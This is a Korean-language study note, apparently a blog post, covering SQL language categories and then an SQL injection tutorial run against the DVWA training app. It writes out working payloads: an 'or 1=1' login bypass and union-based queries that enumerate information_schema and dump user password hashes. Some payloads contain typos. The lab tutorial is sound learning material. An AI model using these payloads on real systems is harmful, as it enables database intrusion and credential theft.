개요
- 사용자와 관계형 데이터베이스를 연결시켜주는 언어로서 DDL, DML, DCL과 특수 연산자를 포함한다.
- 단순한 질의 기능 뿐만 아니라 완전한 데이터 정의 기능과 조작 기능을 갖추고 있다.
- 아직 표준 SQL이 100% 확정되지 않았기 때문에 상호 DBMS 간의 호환성은 완벽하지 않다.
언어
- DDL (Data Defintion Language)
- 객체의 생성, 변경, 삭제를 하는 명령어
- 스키마, 도메인, 테이블, 인덱스 정의 변경 또는 삭제
- CREATE, ALTER, DROP, RENAME 등과 같은 명령어
- DML (Data Manipulation Language)
- 사용자가 응용 프로그램이나 질의어를 통하여 저장된 데이터 처리시 사용하는 명령어
- 사용자와 DBMS 간의 인터페이스 제공
- SELECT, INSERT, UPDATE, DELETE 등과 같은 명령어
- DCL
- 데이터의 보안, 무결성, 회복, 병행 수행 제어 등을 정의하는데 사용
- DBA (데이터베이스 관리자)가 데이터 관리를 위해 사용
- COMMIT, ROLLBACK, GRANT, REVOKE 등
쿼리 (Query)
- DBMS에게 보내는 요청을 말한다.
- 질의어라고도 표현된다.
- DBMS는 쿼리를 받고 해당 기능을 수행하여 결과 집합을 반환한다.
- 응용 프로그램 보안 상의 허점을 의도적으로 이용하여 개발자가 생각하지 못한 SQL문을 실행되게 함으로써 데이터베이스를 비정상적으로 조작하는 공격 방법이다.
- 웹 페이지를 통해 입력된 파라미터 값을 이용하여 쿼리를 (재)구성하는 방법이다.
- 구문 분석, 실행을 위해 나중에 SQL Server의 인스턴스에 전달될 문자열에 악의적인 코드가 삽입되는 공격 방법ㅂ이다.
- SQL 명령과 연결되서 실행되는 사용자 입력 변수에 코드가 삽입되어 공격이 일어난다.
- 테이블에 저장할 문자열 또는 meta-data로서 악의적인 코드를 삽입한다.
- 로그인 폼에 (')를 허용하는지 체크
1) select * from sql_injection where id=''aaaa' and password=password('bbbb');
위의 쿼리는 최종적으로 서버에 전송된 쿼리 내용이다. 실제로 SQL 쿼리 자체를 보여주는 것은 매우 위험하다.
2) You have an error in you SQL syntax; check the ~~~~~~ use near 'aaaa' and password=password('bbbbb')'at line 1
쿼리문이 DB에 직접 접근하였기 때문에 위와 같은 에러를 볼 수 있다. 즉, (')와 같은 SQL Injection에 사용되는 코드가 필터링 되지 않고 사용되는 것을 알 수 있다.
- ID 값에 'or 1=1; ## 코드 삽입
1) select * from sql_injection hwere id=''or 1=1;##' and password=password('abc');
최종 쿼리 내용인데, ##은 오라클 DBMS에서의 주석을 말한다. 즉, 위의 쿼리는 주석 뒤의 and password=password('abc') 부분이 무력화 되어서 결국엔
ID 부분 (or 1=1) 만을 확인하는데, 입력한 ID 값은 참을 반환하기 때문에 DB에 저장된 모든 ID를 가져오게 된다.
이번에는 샘플 페이지가 아닌 DVWA를 이용한다. DVWA란 Damn Vulnerable Web App의 약자로 SQL Injection 뿐만 아니라, Brute Force, Command Executation, CSRF 등
다양한 웹 해킹 공격 실습을 수행할수 있게 해주는 도구이다.
* Windows에서 DVWA를 실행하려면 APM를 설치, Linux에서는 apache/xlampp를 설치하면 된다.
* 비슷한 도구로는 OWASP의 WebGoat이 있다.
SQL Injection 항목을 열었을 때의 모습으로, 이전과 마찬가지로 (')를 사용하여 필터링 유무를 판단한다.
오류가 나는 것으로 미루어 보아 본 시스템에서는 별다른 필터링을 하지 않는다고 판단할 수 있다.
' and 1=1 union select database(), version() #
위의 쿼리를 이용하여 데이터베이스명은 dvwa, 버전은 5.1.41-community 라는 것을 알아내었다.
* MySQL 5.x 이상의 버전부터는 데이터베이스의 meta-data를 제공하는 Information_schema가 존재한다. 이를 이용하면 생성된 테이블의 구성 정보와 권한 정보등을 알 수 있다.
' and 1=1 union select table_name, table_schema from information_schema.table #
위의 쿼리를 입력하면 사진과 같은 정보가 나오는데, First Name에 출력되는 것이 테이블명이고, Surname 부분에 출력되는것이 테이블 스키마이다.
' and 1=1 union select table_name, column_name from information_schema.columns where table_schema='dvwa' #
위의 쿼리는 dvwa 라는 DB의 정보를 가져오는데, 스크로를 내리다 보면 user와 password 항목이 있음을 볼 수 있다.
' and 1=1 union select user, apssword from dvwa.users #
위의 쿼리를 이용하여 First name에는 ID가 출력되고, Surnaame 에는 암호화 된 password 값이 나오게 된다.
주목해야할 점은 암호화 된 패스워드의 길이가 동일한 것과 대부분의 암호화는 해시 함수를 이용한다는 점을 알아야 한다.
이전에 얻은 admin 계정의 password 해시값을 복호화할 경우 평문 "password"가 MD5로 암호화 되었다는 것을 알 수 있다.